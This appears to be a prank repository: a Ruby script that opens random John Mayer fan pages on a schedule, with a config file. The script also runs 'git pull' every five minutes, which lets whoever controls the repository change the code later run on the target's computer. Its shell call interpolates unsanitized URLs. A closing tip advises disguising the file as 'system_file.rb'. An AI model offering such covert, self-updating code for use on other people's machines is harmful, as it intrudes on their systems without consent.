They seem me trollin' they hatin'

.gitignore

out.log

.rvmrc

rvm use system

config.json

{
  "on": true,
  "schedule": [
    "10:13 AM",
    "11:38 AM",
    "1:36 PM",
    "1:42 PM",
    "4:52 PM",
    "5:20 PM"
  ],
  "urls": [
    "http://tojohnmayerwithlove.com/",
    "https://www.facebook.com/pages/John-Mayer-is-God/101509036572394",
    "http://johnmayer.com/",
    "http://johnmayerfans.net/",
    "http://fuckyeahjohnmayer.tumblr.com/",
    "http://jmayer-fanfic.livejournal.com/",
    "http://johnmayer.yuku.com/topic/7705#.UZ-VOWQ4XUk",
    "http://www.thebuzzmedia.com/wp-content/uploads/2008/05/john-mayer-amazing-lover.jpg",
    "http://tojohnmayerwithlove.com/wp-content/uploads/2013/05/John-Mayer-Brazil-Arena-Anhembi-19-De-Setembro-.png",
    "http://fc07.deviantart.net/fs19/f/2007/294/8/8/John_Mayer_2_by_h_nguyen.png",
    "http://jun1013.files.wordpress.com/2009/11/john-mayer-battle-studies-album-cover.jpg",
    "http://cardinalplaylists.files.wordpress.com/2012/07/john_mayer_006.jpg",
    "http://i.crackedcdn.com/phpimages/article/3/8/9/144389.jpg?v=1",
    "http://s3-ak.buzzfeed.com/static/campaign_images/webdr01/2012/12/30/17/heres-a-photo-of-john-mayer-in-a-santa-suit-1-31541-1356908377-1_big.jpg"
  ]
}

runner.rb

#!/usr/bin/env ruby

require 'rubygems'
require 'json'
require 'time'
require 'logger'

class Troll
  def initialize(options)
    log('run at') { Time.now }
    log('system:who') { system('whoami') }
    log ('ticks:who') { `whoami` }
    @options = parse_options(options)
  end

  def run!
    log('start') { "open #{url}" }
    output = system("open #{url}")
    log('output') { output }
    log('end') { "open #{url}" }
  end

  def update!
    command = 'git pull'
    log('start') { command }
    output = system command
    log('output') { output }
    log('end') { command }
  end

  def should_run?
    res = run? && time_to_run?
    log('should run') { res }
    res
  end

  def should_update?
    res = run? && Time.now.min % 5 == 0
    log('should update') { res }
    res
  end

  def log(msg, &block)
    msg = "#{msg}#{15.times.map{' '}.join}".slice(0,15)
    logger.info msg, &block
  end

  private

  def logger
    @logger ||= Logger.new(File.open('./out.log', 'a+'), 10, 1024000)
  end

  def run?
    @options['on']
  end

  def time_to_run?
    @options['schedule'].any? do |time|
      time.between?(one_minute_ago, one_minute_from_now)
    end
  end

  def one_minute_ago
    Time.now - 60
  end

  def one_minute_from_now
    Time.now + 60
  end

  def url
    @options['urls'].shuffle.last
  end

  def parse_options(options)
    options['schedule'] = options['schedule'].map {|t| Time.parse(t) }
    options
  end
end

begin
  file = File.open('./config.json', 'r')
  @troll = Troll.new JSON.parse file.read
  file.close
  @troll.update! if @troll.should_update?
  @troll.run!    if @troll.should_run?
rescue Exception => e
  puts e
  puts e.backtrace.join("\n")
  @troll.log('exception') { e }
  e.backtrace[0..10].each do |line|
    @troll.log('exception') { line }
  end
end

dont call the file john_mayer if you dont want it to be obvious. call it something like system_file.rb